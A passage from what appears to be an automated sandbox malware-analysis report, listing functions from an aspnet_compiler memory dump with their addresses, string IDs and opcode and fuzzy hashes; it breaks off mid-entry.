                  • Instruction Fuzzy Hash: 4C9195B2A00219AFEB21DF99DC85FAEBBB9EF14754F104065F610BB194D774AD04CBA0
                  Function 0138A660 Relevance: 1.4, Strings: 1, Instructions: 200COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: GlobalTags
                  • API String ID: 0-1106856819
                  • Opcode ID: 8a4b00ca6a02b7cf25751edca7fa6d34e658180a5ec58a5edd4e1218637cbe1c
                  • Instruction ID: 45923e1f9480614c53f4aec6ad8cd1d05953a6b7a58863861812393dd9374581
                  • Opcode Fuzzy Hash: 8a4b00ca6a02b7cf25751edca7fa6d34e658180a5ec58a5edd4e1218637cbe1c
                  • Instruction Fuzzy Hash: 8E715BB5E0030A9BDF28DF9CC5916AEBBB1BF88B18F14852EE905A7345E7359C41CB50
                  Function 0136E627 Relevance: 1.4, Strings: 1, Instructions: 148COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: EXT-
                  • API String ID: 0-1948896318
                  • Opcode ID: 9b0bdcd69e622b36a37f0ec6206bf51ffa2f5f3f2c42619117e10556a81f058f
                  • Instruction ID: 17aa967d950ca0f4e37c2f596a11f9e8f41c6449dd140d608e16cd9c75adf95e
                  • Opcode Fuzzy Hash: 9b0bdcd69e622b36a37f0ec6206bf51ffa2f5f3f2c42619117e10556a81f058f
                  • Instruction Fuzzy Hash: BC41A3765183129BD720DA79C844B6BBBECAF8871CF04893DF684D7184E678DA08C796
                  Function 0134CDEA Relevance: 1.4, Strings: 1, Instructions: 138COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: AlternateCodePage
                  • API String ID: 0-3889302423
                  • Opcode ID: 4dbfe2f2d88cf3133e3735196524c7c00381cc6b474af997576188469d56af2b
                  • Instruction ID: 1f21849e79d111818f6263f175bc47973f51ca99b9c2391f988e56082fc01fb8
                  • Opcode Fuzzy Hash: 4dbfe2f2d88cf3133e3735196524c7c00381cc6b474af997576188469d56af2b
                  • Instruction Fuzzy Hash: 3641B272D00209EBEF29DB9CC880AEEBBF8FF44318F54415AE555A7250D774AA81CB54
                  Function 013CC730 Relevance: 1.4, Strings: 1, Instructions: 129COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: BinaryHash
                  • API String ID: 0-2202222882
                  • Opcode ID: c63062b123641a39902a7efeaa8b42363fe26d9c2e4f67d4838f1d36c76a36f4
                  • Instruction ID: b6a240fb65bf1064da2aa0d3896b2c82e70c4c01b53dea0f1d1c567cffc5b717
                  • Opcode Fuzzy Hash: c63062b123641a39902a7efeaa8b42363fe26d9c2e4f67d4838f1d36c76a36f4
                  • Instruction Fuzzy Hash: AB4124B1D0162DAADF21DA54CC84FDFB77CAB45718F0045A9AA0CAB140DB709E498FA4
                  Function 013E6B40 Relevance: 1.4, Strings: 1, Instructions: 106COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: #
                  • API String ID: 0-1885708031
                  • Opcode ID: 890b592b61545b3bc05bc6cdb758ce5e9ced5b5e8a610869f699f96f4cff7f18
                  • Instruction ID: 1867c7338c10ae17763f9a4f4b26dabc2c8be5191978781de274b2a6af6ab6fa
                  • Opcode Fuzzy Hash: 890b592b61545b3bc05bc6cdb758ce5e9ced5b5e8a610869f699f96f4cff7f18
                  • Instruction Fuzzy Hash: E2314A71A007299BEF22CB6DC859BEE7BE8DF6530CF104068E941AB2C2D775E815CB50
                  Function 013CCA72 Relevance: 1.3, Strings: 1, Instructions: 94COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: BinaryName
                  • API String ID: 0-215506332
                  • Opcode ID: 1940701c672b588136dbd05b35c0511b03bf872c2d83e164f643b24355e45759
                  • Instruction ID: cb9abcad9b83d633aa4fe8b757242e02f480096803f0be0697885b0d339da2f4
                  • Opcode Fuzzy Hash: 1940701c672b588136dbd05b35c0511b03bf872c2d83e164f643b24355e45759
                  • Instruction Fuzzy Hash: 35312736900519AFEB15DB9CC845E6FBB78EF80B18F01416DE909A7250D730AE04E7E0
                  Function 013D06F1 Relevance: 1.3, Strings: 1, Instructions: 79COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: @-
                  • API String ID: 0-3099210348
                  • Opcode ID: 6f72feab8e1641724170551945037fda6b68a7a88b12800ed648a4b2b76bfbd9
                  • Instruction ID: a1bb41a8994547be20a3ce5ffca0bed08c03b184acb715150997cee6c96033ca
                  • Opcode Fuzzy Hash: 6f72feab8e1641724170551945037fda6b68a7a88b12800ed648a4b2b76bfbd9
                  • Instruction Fuzzy Hash: F921A072A001299BCF15DF69D881ABEB7F8FF48744F414069F941AB254D738AD42CBA0
                  Function 013D0946 Relevance: 1.3, Strings: 1, Instructions: 70COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: @-
                  • API String ID: 0-3099210348
                  • Opcode ID: 8d8adb10944e5088dc507019bf9a11a1c26380198629ec36458be91e9a7edcab
                  • Instruction ID: 5a7e2e95d1770ab6192ab5c8cc5a91b8abc4696059fb4a79b64274e1227753f1
                  • Opcode Fuzzy Hash: 8d8adb10944e5088dc507019bf9a11a1c26380198629ec36458be91e9a7edcab
                  • Instruction Fuzzy Hash: 6221FAB5E00259ABDB24DFAAE9809AEFBF8FF98B04F10012FE405A7254D7709941CF54
                  Function 0137EA2E Relevance: 1.3, Strings: 1, Instructions: 56COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: P?
                  • API String ID: 0-575290106
                  • Opcode ID: ba9203062db91e61b3573bfeb753ca35eac82ea271010c5eff98a4698d9b0b1f
                  • Instruction ID: ad65e7195934a4e1c0bba8ab0ccbcd4552f4d80c186633d9f916e867558742b6
                  • Opcode Fuzzy Hash: ba9203062db91e61b3573bfeb753ca35eac82ea271010c5eff98a4698d9b0b1f
                  • Instruction Fuzzy Hash: 3D01DEB550010A9FEB26EF18E404F26BBF9EF9171CF2081BAE0058B261C774EC42CB94
                  Function 013D892A Relevance: 1.3, Strings: 1, Instructions: 47COMMON
                  Download Yara Rule
                  Strings
                  • AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 013D895E
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
                  • API String ID: 0-702105204
                  • Opcode ID: 68d8d9ed6474000e132ddea1956145d20035b27ef588b90d24eb96f1b5d5ad49
                  • Instruction ID: 35e52dcbc068908490bbe3f09d2d076b611e598fa2b6174c1401e5c82bf330aa
                  • Opcode Fuzzy Hash: 68d8d9ed6474000e132ddea1956145d20035b27ef588b90d24eb96f1b5d5ad49
                  • Instruction Fuzzy Hash: A401F737200201ABEB206F59F884E5A7B65FF8565CB04046DF68116562CB30B841CB92
                  Function 013E8158 Relevance: .6, Instructions: 617COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 1477268e7c8bb34ca4b43d17f1dee713b2003299596d64e864a46749a44f4ff9
                  • Instruction ID: f96f581ec3fdc0678978ecbcbb9f436f1713e0eb0c985344808ce5988c7e8208
                  • Opcode Fuzzy Hash: 1477268e7c8bb34ca4b43d17f1dee713b2003299596d64e864a46749a44f4ff9
                  • Instruction Fuzzy Hash: CB424975E003298FEB25CF69C885BADBBF5BF48314F1480D9E949AB282D7349985CF50
                  Function 01362840 Relevance: .6, Instructions: 605COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e5cb11c892856ea6cfdb5fc26f76df8d7468a96bcd43dcf8c11141d130f02ba4
                  • Instruction ID: d5dd5b80df4e7e479111b9e9a468156bcae3a65fb04a9c44110cec4091a04465
                  • Opcode Fuzzy Hash: e5cb11c892856ea6cfdb5fc26f76df8d7468a96bcd43dcf8c11141d130f02ba4
                  • Instruction Fuzzy Hash: B732E2B0A007598FDB25CF69C8857FEBBF6BF84308F14811DD6469BA86E735A811CB50
                  Function 013FA118 Relevance: .6, Instructions: 591COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e7283663678d7241f73ec5e4501c06befee6558b53d8602429f39e587d170653
                  • Instruction ID: fc6ab360043b07fe8bcfba83c6526d1a44babf541cc38d0730d6ca2917e62c38
                  • Opcode Fuzzy Hash: e7283663678d7241f73ec5e4501c06befee6558b53d8602429f39e587d170653
                  • Instruction Fuzzy Hash: F522CD742046658BEB25CF2DC094772BBF1AF44348F08849EEB8E8F686D735E456DB60
                  Function 01378DBF Relevance: .6, Instructions: 554COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: acad2bc6fa612dc8b50dfff65b9c29861f9c563804563a4ba309b716201961da
                  • Instruction ID: 7827d83ad8c33ab556ca29d393d3eea81a2b89ba780246eb756153f1c51ba233
                  • Opcode Fuzzy Hash: acad2bc6fa612dc8b50dfff65b9c29861f9c563804563a4ba309b716201961da
                  • Instruction Fuzzy Hash: C6223F70E0015ADBDB25CF99C480AFEFBF6BF48318B14849AE945AB641E738DD41CB64
                  Function 01356A50 Relevance: .5, Instructions: 548COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 65ac232f99eca4b4e44dcd792c7ec8287196c6d915757f0401ea9fbfc333d736
                  • Instruction ID: d06b1a0fd0afde0dcb3786e97bc6a953dda065d3b5bb5e5b5359ad04c373c231
                  • Opcode Fuzzy Hash: 65ac232f99eca4b4e44dcd792c7ec8287196c6d915757f0401ea9fbfc333d736
                  • Instruction Fuzzy Hash: E732F1B0A01209CFDB65CF69C490BAEBBF5FF48308F548569EA4AAB751D734E841CB50
                  Function 01374A35 Relevance: .4, Instructions: 423COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
                  • Instruction ID: a611f3fd947bc2a5d8ebc0504cf9fc7910c56f48f7e8cb033a07dd7a89f0f3ec
                  • Opcode Fuzzy Hash: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
                  • Instruction Fuzzy Hash: 57F17170E0020ADBDF25CF99C580BEEBBF5AF48718F048129EA45AB655E778EC41CB50
                  Function 013E892B Relevance: .4, Instructions: 386COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 96d0b67f913593028124276b1ea2ee66922d8eb08c7cff62f130d5d386d8cc29
                  • Instruction ID: 92d54bf746f3f554f1e4144da6e228c846e92e73f10a6a4bddb95b66de99bffd
                  • Opcode Fuzzy Hash: 96d0b67f913593028124276b1ea2ee66922d8eb08c7cff62f130d5d386d8cc29
                  • Instruction Fuzzy Hash: BCD1E171E0072A8BEF15CF6CC845AFEB7F5AF88308F1881A9D955A7281D735E9058B60
                  Function 013565D0 Relevance: .4, Instructions: 383COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 1911c0025cae46f1f391afac7f06619827fd9dbcdaac3bf7e2c090d1a4c83654
                  • Instruction ID: d29c7e1c14f7827850619ddb80bb2b972f08b6619e38f6a9af55d1ed3d05b366
                  • Opcode Fuzzy Hash: 1911c0025cae46f1f391afac7f06619827fd9dbcdaac3bf7e2c090d1a4c83654
                  • Instruction Fuzzy Hash: 3BE19EB1608342CFC755CF28C090A6ABBF4FF89718F45896DE99987351EB31E905CB92
                  Function 01348397 Relevance: .4, Instructions: 380COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3574bcd9e6e3842c7468327c047f18b297f6a3fc9a2e793a30301c3b38281094
                  • Instruction ID: 65d5f3e6e5aac9e26239dc46179aeb34eef34f50461717c1bc86c3d2b00791ba
                  • Opcode Fuzzy Hash: 3574bcd9e6e3842c7468327c047f18b297f6a3fc9a2e793a30301c3b38281094
                  • Instruction Fuzzy Hash: 73D11671A0020ACBDB14DFA8C890ABABBF5FF5431CF04866DE915DB291E734E951CB50
                  Function 013D8243 Relevance: .3, Instructions: 322COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                  • Instruction ID: cd473ac673a3e3fb978e691a8e6c12154f30c400e9f1f171f7b2fedea75a04e2
                  • Opcode Fuzzy Hash: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                  • Instruction Fuzzy Hash: F1B18376A006059FDF24DFA9D940EABBBB9FF84318F10449DEA0297794DA34F905CB50
                  Function 01360535 Relevance: .3, Instructions: 300COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
                  • Instruction ID: 955ba723b08e57eb603373a07cca928673a595def7d7d9ed3a2ef13aa96cffb1
                  • Opcode Fuzzy Hash: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
                  • Instruction Fuzzy Hash: DFB15831604646EFDB25DBA8C890BBEBBFAEF44208F144169E742D7686E730ED41CB50
                  Function 01370DE1 Relevance: .3, Instructions: 295COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e9aa72b1296578894d8b99b5ce434ea93c4baf40e899f74405713b00de34a6f1
                  • Instruction ID: d93b68e633ce74a1149435a452b1b3cec8d3a93f6c20f42661f5f22036c95a46
                  • Opcode Fuzzy Hash: e9aa72b1296578894d8b99b5ce434ea93c4baf40e899f74405713b00de34a6f1
                  • Instruction Fuzzy Hash: FEC17C70E00719DFDF29CFA9C884AAEBBB9FF49308F104129E509AB755E775A845CB40
                  Function 013583C0 Relevance: .3, Instructions: 281COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 224651c18c45fcfbcdf7d93bfeaa40985f2b2eb4eeb49280add6cb9c2d802016
                  • Instruction ID: 1fb87e2a447a7eb992a144b96fc9c7bd841871a81dd67479b0732b88fded839d
                  • Opcode Fuzzy Hash: 224651c18c45fcfbcdf7d93bfeaa40985f2b2eb4eeb49280add6cb9c2d802016
                  • Instruction Fuzzy Hash: 08C16A74108381CFD764CF19C494BABB7E4BF88708F44496DE98987691E774E908CF92
                  Function 0134C427 Relevance: .3, Instructions: 280COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2f729274c6038232a9ffb4051332b48e39929a24277dc526d2091b3d1888b5af
                  • Instruction ID: 9fc27ff5a5a6c0d92d9882059f3d6e8ea1ffb1aa93c1b2679f572af576cbe1da
                  • Opcode Fuzzy Hash: 2f729274c6038232a9ffb4051332b48e39929a24277dc526d2091b3d1888b5af
                  • Instruction Fuzzy Hash: D2B18370A002658BDB34DF69C890BADB7F5EF44708F0485E9D50AE7251EB34ED85CB60
                  Function 0137E5E7 Relevance: .3, Instructions: 278COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 39c0ec29a95fa8441be39ebcf5b4c2312b88ab0ddf661f1d66140fef64f5f2f1
                  • Instruction ID: 89e9c67bedc3ad9cb36068a7ca972aa9846389a1cc1b65893657a5cf4edde74e
                  • Opcode Fuzzy Hash: 39c0ec29a95fa8441be39ebcf5b4c2312b88ab0ddf661f1d66140fef64f5f2f1
                  • Instruction Fuzzy Hash: D6A1F531E006599FEF31DB5CCC84BEEBBA8AB0475CF050165EB10AB691E7789D40CB91
                  Function 01390185 Relevance: .3, Instructions: 276COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a1bd045ed4814f69f8bacb4a674ccbb10d927b5eb81eef23f546f2b9f9f07f29
                  • Instruction ID: 1c03b7ba51d6fc9e6717f437bcd71a07a7f1324e58d4ff7c03dae5a73affa049
                  • Opcode Fuzzy Hash: a1bd045ed4814f69f8bacb4a674ccbb10d927b5eb81eef23f546f2b9f9f07f29
                  • Instruction Fuzzy Hash: D4A1C370B0161ADFDF29DF69C990BAAB7B9FF5472CF044029EA45A7281DB34E811CB50
                  Function 01424500 Relevance: .3, Instructions: 275COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: ff8eb23adca48e493ec45ee1656ba82e635934dbcd76455611c4e83dfca91caa
                  • Instruction ID: 9e1212fa28cd2a5cd81fc41d872537ecd4721a673664e6432684a0c696327e0a
                  • Opcode Fuzzy Hash: ff8eb23adca48e493ec45ee1656ba82e635934dbcd76455611c4e83dfca91caa
                  • Instruction Fuzzy Hash: 97A1F172610622DFC721DF18C980B2AB7E9FF48758F89452AF5899B760C374EC81CB91
                  Function 013D60E0 Relevance: .3, Instructions: 264COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 33db668cea6076ab2f5081dac9c632a03184bab2e885062f3f3d3704d1627b7b
                  • Instruction ID: 637047f5c53554ae733563647b872503ecc501cd995b16a5ce54c006a3385bba
                  • Opcode Fuzzy Hash: 33db668cea6076ab2f5081dac9c632a03184bab2e885062f3f3d3704d1627b7b
                  • Instruction Fuzzy Hash: D991A7F2D0021AAFDF15CF68E885BAEBFB5AF48714F154169E620EB351D734D9008BA0
                  Function 0136E3F0 Relevance: .3, Instructions: 261COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 28e905fa74451d13899d9d2611472f74492798260f4d108ea3d0bd51a6e0931c
                  • Instruction ID: 69b9c282ff42029dbaca67f9115e9ed2a91fdd92e255c4292022069be12ec2eb
                  • Opcode Fuzzy Hash: 28e905fa74451d13899d9d2611472f74492798260f4d108ea3d0bd51a6e0931c
                  • Instruction Fuzzy Hash: 8A913579A00216CBEB25DB2DC480BBABBA9EF9471CF15C065EF05AB798F634D805C750
                  Function 013A6ACC Relevance: .2, Instructions: 226COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5054fdb4edb52518e90d09944e5ba9f767a076a59bcbf3fc186a6e2311c3b9eb
                  • Instruction ID: 74409e5cb903060172242b63ece1fbce305287aa70b04a643e6687e8b34b25e3
                  • Opcode Fuzzy Hash: 5054fdb4edb52518e90d09944e5ba9f767a076a59bcbf3fc186a6e2311c3b9eb
                  • Instruction Fuzzy Hash: 2C8194B1A006199FDB28CF69C941ABEBBF9FB48704F48852EE455E7640E334D941CB94
                  Function 0141AB40 Relevance: .2, Instructions: 222COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e20f57e4ff007d65908e0e6f7ea2c5d260c397918ed067619b1479e5480266a4
                  • Instruction ID: 282c975ed9f009c210945aef8bcfaa10f46bc7dffa2dbb3a931361f9f7573c30
                  • Opcode Fuzzy Hash: e20f57e4ff007d65908e0e6f7ea2c5d260c397918ed067619b1479e5480266a4
                  • Instruction Fuzzy Hash: DB81A231A016469FDF19CF99C490AAEBBB2FF84310F24856AD9169B359E734D902CB40
                  Function 01346D10 Relevance: .2, Instructions: 216COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: ee25fd76ee4a587b1a77607808df1c47f05c48152ff8a8640616db17706641f7
                  • Instruction ID: c0b2b29b7559a5105b88d5bf1cb62455e55f646fbe6669fd8339817730411731
                  • Opcode Fuzzy Hash: ee25fd76ee4a587b1a77607808df1c47f05c48152ff8a8640616db17706641f7
                  • Instruction Fuzzy Hash: 9371C3B56447469BDF21CF19C980B6BB7E8FB4835CF804929EA55E7600E730E884CBD2
                  Function 0138E284 Relevance: .2, Instructions: 212COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 0e0ec00f708ba0070f6a7ab02bd53b346953ab090a111efd224e1d41dde80e47
                  • Instruction ID: 07e7f19c888f2ed2f49ff2c9ee4deee63293c621ae12db605b8e23a0d319cf6b
                  • Opcode Fuzzy Hash: 0e0ec00f708ba0070f6a7ab02bd53b346953ab090a111efd224e1d41dde80e47
                  • Instruction Fuzzy Hash: 0A816C71A00709AFDB25DFA9C880BEEBBB9FF48318F10442DE556A7250DB70AC45CB60
                  Function 0136C640 Relevance: .2, Instructions: 206COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
